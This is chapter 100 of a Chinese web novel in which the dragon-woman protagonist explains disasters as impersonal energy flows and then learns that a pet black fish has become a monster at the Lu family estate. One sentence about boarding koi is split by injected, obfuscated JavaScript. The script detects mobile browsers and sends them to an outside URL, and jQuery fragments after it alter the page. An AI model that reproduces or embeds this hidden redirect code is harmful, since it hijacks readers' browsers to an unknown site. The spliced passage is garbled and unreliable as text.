100. 当龙王 100

作品:《上班不如当龙王

    【宝贝们看作话!!!】


    应真潇摇头:“不存在什么风水龙脉。宏观事件的走向是道的显化,微观层面来说,是全国范围内的元炁流通的形势,这不是人力可以介入的。”


    甚至神仙也不可以。


    一旦走向形成,其蕴含的动能与逻辑,就会形成高度复杂且不断自我强化的系统,如同一个巨大的元炁漩涡,惯性巨大,天然抗拒外力介入,任你有通天彻地的威能,能动性也会受限制。


    这便是道的伟力。


    “其实另一个世界也是唯物的。”应真潇举例说明:“大的劫难,就是元炁积蓄到一定程度,必定崩裂的体现,就像板块挤压,产生应力,堆积到一定程度,就会通过地震释放能量。”


    正所谓大道无情,这种客观的能量变化,不以任何生灵的意志为转移;至于所谓“天罚”、“大劫”,不过是人类和神明的主观感受。


    就像洪水冲垮房屋,洪水本身既没有意识,也没有意愿,只是种种客观条件,导致它在这里形成了,不是故意冲着让谁倒霉去的;但屋主肯定觉得自己倒霉。


    但正因为它客观,所以也存在“认识规律、掌握规律、利用规律”的办法;就像假如人类科技进展到一定程度,可以主动释放板块应力,避免地震产生,神仙自然也有办法。


    既然它表现出来的后果是给三界一顿痛殴,那如果有神仙愿意且有能力,替三界把这顿打挨了,那自然就可以减轻灾难的后果——即主动去沾染、介入因果。


    “……这就是所谓的承负。”应真潇说:“展开来讲太复杂了,反正你们知道是怎么个事就行。总之,风水龙脉那些是不可能的,最多只能是放点魑魅魍魉出来,搞搞破坏。”


    要是搞搞风水玄学就有用,那就更轮不到日本人来搞了,历朝历代,哪个皇帝不认识和尚道士?有这种本事,人家早就实现千秋万代了。


    她举了个例子:“这就好比,人类可以人工降雨,短暂改变小地形内的气候条件,但没办法干扰大气环流,副热带高压想来就来,台风说生成就生成,你只能应对。”


    “神仙对劫难的应对,就跟核弹打台风一样。”应真潇说:“有没有用?理论上来说,可行,但是你得付出打核弹的巨大代价,而且打完这个,下次照样生成,这是客观规律。”


    不付出代价,不承负因果,就无法施展力量;若是承负因果,则必然承受反噬,而且,救的了一时,救不了一世。


    曾照云和陈秘书听得一愣一愣的,陈秘书沉默良久,憋出一句:“……应小姐的唯物辩证法学得真不错啊。”


    应真潇笑而不语。


    传授道的运行规律,这在玄学世界,被称为“传道”,是无上的功德,往往来自高功大能。


    而人类,脆弱的、短命的、除了几十公斤血肉,别无所有的人类,在生产生活的实践中,发现道的规律、将之汇总、利用、传播,改变这个世界。


    人类创造了自己的真经,并将之播撒向大地;昔年可遇而不求的道与经,如今在免费的课本上,唾手可得。


    这何尝不是一种功德。


    应真潇:“不过还是要关注,虽然不会造成宏观尺度上的大问题,但那些被放出来的魑魅魍魉,也足够讨厌了。”


    就像高茉莉利用镜子害人,客观说算不上极度恶劣的事情,但是对于现代社会的冲击力巨大,也造成了很多不必要的损失。


    “应小姐放心了,我们会持续关注,后续的情况会向您通报。”陈秘书说:“不过您说的……劫难,这个短时间内可能会出现吗?”


    应真潇:“小型的能量释放,从来没停过,天灾人祸,每天都有;但规模巨大的,并不经常出现——上一次,还是五代十国时期的恶蛟之祸。”


    天灾,体现为大规模的河流泛滥、改道,四处并起的地震、干旱、泥石流等,最终,一头晦气凝成的恶蛟冲出大地,撞裂天帷,以至于天河倾泻,贯通三界;


    人祸,体现为天下大乱,兵戈四起,人相倾轧,纲纪废弛,“宗庙人鬼皆其序”。


    这种规模的灾难,起源于无底深渊中堆积的三界晦气,如同聚沙成塔,集腋成裘,迟早会来,但时间尺度巨大,以至于大部分人类根本不需要想这种事。


    陈秘书点点头。


    ……


    余下半周,应真潇在公司夹着尾巴做人,勤勤恳恳,兢兢业业。


    别问,问就是举头三尺有巡检司,即使不被逮住违规操作,被发现摸鱼然后参一本“调研态度不积极”也很丢龙了。


    周五下班时,消失一周的钱佳妮突然出现,问应真潇周末有没有空,她哥姐周末重新下葬,想请应真潇来看看,顺便请她吃饭。


    之前应真潇决定暂避风头,给她介绍了崇真观的许道长,现在看来,事情已经处理得差不多了。


    邀请她去,也只是请她以朋友的身份去祭拜而已。


    应真潇果断答应。


    她挂断电话,手机又弹了消息,陆雁书让她去办公室一趟。


    应真潇挑了挑眉。


    要是公事,周五快下班了,突然被领导找,怎么想都不是好事;


    要是私事,他俩孤男寡女共处一室,要是被发现,岂不是跳进黄河都洗不清?


    这听起来简直像偷情。


    一想到这一茬,应真潇立马站起来——往陆雁书办公室走。


    偷,偷的就是情,不偷不是东海龙:D


    应真潇敲门,然后款款推门而入:“陆总,咱俩清清白白的,大白天的孤男寡女共处……”


    她把剩下的话咽了回去。


    来思齐有点尴尬,和她打招呼:“应助理,下午好啊。”


    “来董,下午好。”应真潇假笑两声,看向陆雁书。


    陆雁书神色平淡:“应助理,我们并无瓜葛,请不要说这些令人联想的话。”


    应真潇:……


    可恶,你怎么能用我的咒语对付我!


    应真潇哼了一声,一屁股坐沙发上:“说吧,陆总,要加班还是要出差?”


    来思齐说,都不是。


    她表情有些凝重:“老宅出事了,想请你过去看看。”


    应真潇:“不可能吧。”


    龙女圣光笼罩,妖魔鬼怪莫敢近前,比应真潇本人还安全,能闹什么幺蛾子?


    “我也觉得,但是,唉。”来思齐便叹了口气,将这两天的事情一一道来。


    最先出事的是家里的鱼。


    陆家老宅的水有龙气,对各类水生物大有裨益,这是早先就知道的,江城有些爱鱼的富商,和老爷子关系好,便托了关系,将新得的鱼送来寄养几天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086421|169451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“沾沾龙气”。


    往年从没出过事,这次新来了一条通体金黄的“黄金龙”锦鲤,用网子隔离了起来,单独放在一处,却莫名其妙失踪了。


    应真潇:“失踪了?是不是跑到网子外面去了。”


    来思齐说查了一遍,网子完好无损;有监控对着后院,拍到的画面极其惊悚:上一秒,鱼还好好的;下一秒,鱼就不见了踪影。


    慢放之后,其中一帧显示,一道黑影掠了过去。


    应真潇:……?


    她有了不好的预感:)


    来思齐又说,这事其实是后来发现的,因为开始大家都没往心里去,以为是鱼自己跳网跑了;是第二天,也就是昨天晚上,老管家叶叔出事了。


    值班的工作人员告诉他,后院有响动,走过去又没发现问题;于是他亲自过去查看,走到河边,河里突然窜出一道黑影,变为恐怖的人形!


    “脑袋像个鱼头,特别怪异;身上的皮肤好像有黄黑的纹路,又黏又滑……”来思齐说着,自己也打了个寒战。


    叶管家当时就被吓晕了,这些话,是他在抢救时,神志不清说的,那时他一边说胡话,一边让陆振业夫妻快跑,老泪纵横。


    陆振业夫妻被吓得不轻,赶忙去查监控,发现竟然是真的,立马遣散了家里的工作人员,叫人来处理问题,以免误伤无辜。


    应真潇:……


    她已经听明白了。


    死鱼,又是你:)


    她微微皱眉:“陆振……哦不是,我说陆爷爷和邵奶奶,他们没事吧。”


    娘娘很关心她捡的流浪人,本来都快寿终正寝了,临了被鱼吓死也太离谱了。


    来思齐:“二老都没事。老爷子和老太太本想亲自来请你,我和陆迎都觉得,他们还是呆在家里比较好,毕竟家里有龙女像,就算有妖物,也翻不起浪来,到外面,反而难说。”


    陆迎已经请假回去陪护了,现在,一家三口现在都蹲在供奉神像的房间里。


    应真潇深吸了一口气:“我知道是什么情况了。来董,你有没有想过,你家有神光庇佑,外面的魑魅魍魉,甚至没办法进去?”


    来思齐神色一凝:“你是说?”


    “是的,就是你家那条黑鱼。”应真潇说:“那东西本来就在你家,养了很多年;又是龙女亲自给你们的,所以,在识别系统里,它是自己人——我是说,自己鱼。”


    那鱼本来就很有灵性,上次那满含灵力,本意是惩戒的几巴掌,还给它当头棒喝打成精了:)


    世事无常,有些东西几百年也只是略有灵性,苦求机缘而不得;而有些鱼,挨了几嘴巴就成精了。


    来思齐震惊得无以复加:“……那,这事怎么办比较好?”


    应真潇冷笑:“好办,叫沈羡仙来把他打杀了,炖个鱼汤,给受害者补补。”


    这鱼不得应真潇喜欢,嚣张跋扈,连崽崽都敢欺负,又挑这么个节骨眼作乱,不是在巡检司面前给她上眼药吗?


    敬酒不吃吃料酒的家伙,只有下了锅才会老实。


    来思齐有些尴尬,问有没有不杀生的处理方式:“这鱼……毕竟养了多年了。更何况,它是娘娘给的,贸然杀了,恐怕,对娘娘不大尊敬。”


    应真潇:……


    那它欺负娘娘孩子就尊敬了吗?!